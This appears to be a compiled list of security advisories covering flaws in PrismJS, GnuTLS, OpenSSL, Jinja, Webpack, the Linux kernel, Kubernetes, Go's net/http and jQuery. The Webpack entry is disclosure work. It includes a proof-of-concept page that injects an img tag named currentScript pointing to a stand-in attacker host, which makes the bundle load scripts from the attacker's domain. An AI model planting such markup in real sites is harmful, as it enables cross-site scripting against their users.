Prism (aka PrismJS) through 1.29.0 allows DOM Clobbering (with resultant XSS for untrusted input that contains HTML but does not directly contain JavaScript), because document.currentScript lookup can be shadowed by attacker-injected HTML elements.
A flaw was found in GnuTLS, which relies on libtasn1 for ASN.1 data processing. Due to an inefficient algorithm in libtasn1, decoding certain DER-encoded certificate data can take excessive time, leading to increased resource consumption. This flaw allows a remote attacker to send a specially crafted certificate, causing GnuTLS to become unresponsive or slow, resulting in a denial-of-service condition.
A certificate with a URI which has a IPv6 address with a zone ID may incorrectly satisfy a URI name constraint that applies to the certificate chain.
Certificates containing URIs are not permitted in the web PKI, so this only affects users of private PKIs which make use of URIs.
Issue summary: A timing side-channel which could potentially allow recovering the private key exists in the ECDSA signature computation.
Impact summary: A timing side-channel in ECDSA signature computations could allow recovering the private key by an attacker. However, measuring the timing would require either local access to the signing application or a very fast network connection with low latency.
There is a timing signal of around 300 nanoseconds when the top word of the inverted ECDSA nonce value is zero. This can happen with significant probability only for some of the supported elliptic curves. In particular the NIST P-521 curve is affected. To be able to measure this leak, the attacker process must either be located in the same physical computer or must have a very fast network connection with low latency. For that reason the severity of this vulnerability is Low.
An oversight in how the Jinja sandboxed environment detects calls to str.format allows an attacker that controls the content of a template to execute arbitrary Python code.
To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.
Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's format method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.
A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.
To exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.
Calling any of the Parse functions on Go source code which contains deeply nested literals can cause a panic due to stack exhaustion.
Summary
We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Webpack
We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:
// / webpack/runtime/publicPath / // (() => { // var scriptUrl; // if (webpackrequire.g.importScripts) scriptUrl = webpackrequire.g.location + ""; // var document = webpackrequire.g.document; // if (!scriptUrl && document) { // if (document.currentScript) // scriptUrl = document.currentScript.src; // if (!scriptUrl) { // var scripts = document.getElementsByTagName("script"); // if(scripts.length) { // var i = scripts.length - 1; // while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; // } // } // } // // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration // // or pass an empty string ("") and set the webpackpublicpath variable from your code to use your own logic. // if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); // scriptUrl = scriptUrl.replace(/#.$/, "").replace(/\?.$/, "").replace(/\/[^\/]+$/, "/"); // webpackrequire.p = scriptUrl; // })();
However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to webpackrequire.p. If additional scripts are loaded from the server, webpackrequire.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.
PoC
Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.
Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:
// entry.js import('./import1.js') .then(module => { module.hello(); }) .catch(err => { console.error('Failed to load module', err); });
// import1.js export function hello () { console.log('Hello'); }
The webpack.config.js is set up as follows: const path = require('path');
module.exports = { entry: './entry.js', // Ensure the correct path to your entry file output: { filename: 'webpack-gadgets.bundle.js', // Output bundle file path: path.resolve(dirname, 'dist'), // Output directory publicPath: "auto", // Or leave this field not set }, target: 'web', mode: 'development', };
When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html> <html> <head> <title>Webpack Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script src="./dist/webpack-gadgets.bundle.js"></script> <body> </body> </html>
Impact
This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.
Patch
A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174
// / webpack/runtime/publicPath / // (() => { // var scriptUrl; // if (webpackrequire.g.importScripts) scriptUrl = webpackrequire.g.location + ""; // var document = webpackrequire.g.document; // if (!scriptUrl && document) { // if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :> // scriptUrl = document.currentScript.src; // if (!scriptUrl) { // var scripts = document.getElementsByTagName("script"); // if(scripts.length) { // var i = scripts.length - 1; // while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; // } // } // } // // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration // // or pass an empty string ("") and set the webpackpublicpath variable from your code to use your own logic. // if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); // scriptUrl = scriptUrl.replace(/#.$/, "").replace(/\?.$/, "").replace(/\/[^\/]+$/, "/"); // webpackrequire.p = scriptUrl; // })();
Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.
In the Linux kernel, the following vulnerability has been resolved:
md: fix deadlock between mddevsuspend and flush bio
Deadlock occurs when mddev is being suspended while some flush bio is in progress. It is a complex issue.
T1. the first flush is at the ending stage, it clears 'mddev->flushbio' and tries to submit data, but is blocked because mddev is suspended by T4. T2. the second flush sets 'mddev->flushbio', and attempts to queue mdsubmitflushdata(), which is already running (T1) and won't execute again if on the same CPU as T1. T3. the third flush inc activeio and tries to flush, but is blocked because 'mddev->flushbio' is not NULL (set by T2). T4. mddevsuspend() is called and waits for activeio dec to 0 which is inc by T3.
T1 T2 T3 T4 (flush 1) (flush 2) (third 3) (suspend) mdsubmitflushdata mddev->flushbio = NULL; . . mdflushrequest . mddev->flushbio = bio . queue submitflushes . . . . mdhandlerequest . . activeio + 1 . . mdflushrequest . . wait !mddev->flushbio . . . . mddevsuspend . . wait !activeio . . . submitflushes . queuework mdsubmitflushdata . //mdsubmitflushdata is already running (T1) . mdhandlerequest wait resume
The root issue is non-atomic inc/dec of activeio during flush process. activeio is dec before mdsubmitflushdata is queued, and inc soon after mdsubmitflushdata() run. mdflushrequest activeio + 1 submitflushes activeio - 1 mdsubmitflushdata mdhandlerequest activeio + 1 makerequest activeio - 1
If activeio is dec after mdhandlerequest() instead of within submitflushes(), makerequest() can be called directly intead of mdhandlerequest() in mdsubmitflushdata(), and activeio will only inc and dec once in the whole flush process. Deadlock will be fixed.
Additionally, the only difference between fixing the issue and before is that there is no return error handling of makerequest(). But after previous patch cleaned mdwritestart(), makerequst() only return error in raid5makerequest() by dm-raid, see commit 41425f96d7aa ("dm-raid456, md/raid456: fix a deadlock for dm-raid456 while io concurrent with reshape)". Since dm always splits data and flush operation into two separate io, io size of flush submitted by dm always is 0, makerequest() will not be called in mdsubmitflushdata(). To prevent future modifications from introducing issues, add WARNON to ensure makerequest() no error is returned in this context.
Excessive time spent checking DSA keys and parameters
Issue summary: Some non-default TLS server configurations can cause unbounded memory growth when processing TLSv1.3 sessions
Impact summary: An attacker may exploit certain server configurations to trigger unbounded memory growth that would lead to a Denial of Service
This problem can occur in TLSv1.3 if the non-default SSLOPNOTICKET option is being used (but not if earlydata support is also configured and the default anti-replay protection is in use). In this case, under certain conditions, the session cache can get into an incorrect state and it will fail to flush properly as it fills. The session cache will continue to grow in an unbounded manner. A malicious client could deliberately create the scenario for this failure to force a Denial of Service. It may also happen by accident in normal operation.
This issue only affects TLS servers supporting TLSv1.3. It does not affect TLS clients.
The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. OpenSSL 1.0.2 is also not affected by this issue.
Last updated 14 November 2024
Incorrect forwarding of sensitive headers and cookies on HTTP redirect in net/http
Last updated 14 November 2024
A timing based side-channel exists in the libgcrypt RSA implementation which could be sufficient to recover a plaintext across a network in a Bleichenbacher style attack. To achieve successful decryption an attacker would have to be able to send a large number of trial messages for decryption. The vulnerability affects all RSA padding modes: PKCS#1 v1.5, RSA-OAEP, and RSASVE.
An absolute path traversal attack exists in the Ansible automation platform. This flaw allows an attacker to craft a malicious Ansible role and make the victim execute the role. A symlink can be used to overwrite a file outside of the extraction path.
Insufficient sanitization of Host header in net/http
A security issue was discovered in Kubernetes where users may be able to launch containers that bypass the mountable secrets policy enforced by the ServiceAccount admission plugin when using ephemeral containers. The policy ensures pods running with a service account may only reference secrets specified in the service account’s secrets field. Kubernetes clusters are only affected if the ServiceAccount admission plugin and the kubernetes.io/enforce-mountable-secrets annotation are used together with ephemeral containers.
This issue affects kube-apiserver. Clusters are impacted by this vulnerability if:
1. The ServiceAccount admission plugin is used. Most clusters should have this on by default as recommended in https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#serviceaccount 2. The kubernetes.io/enforce-mountable-secrets annotation is used by a service account. This annotation is not added by default. 3. Pods using ephemeral containers.
A security issue was discovered in Kubernetes where users may be able to launch containers using images that are restricted by ImagePolicyWebhook when using ephemeral containers. Kubernetes clusters are only affected if the ImagePolicyWebhook admission plugin is used together with ephemeral containers.
This issue affects kube-apiserver. Clusters are impacted by this vulnerability if: 1. The ImagePolicyWebhook admission plugin is used to restrict the use of certain images and 2. Pods using ephemeral containers.
Impact Passing HTML containing <option> elements from untrusted sources - even after sanitizing them - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.
Patches This problem is patched in jQuery 3.5.0.
Workarounds To workaround this issue without upgrading, use DOMPurify with its SAFEFORJQUERY option to sanitize the HTML string before passing it to a jQuery method.
References https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
For more information If you have any questions or comments about this advisory, search for a relevant issue in the jQuery repo. If you don't find an answer, open a new issue.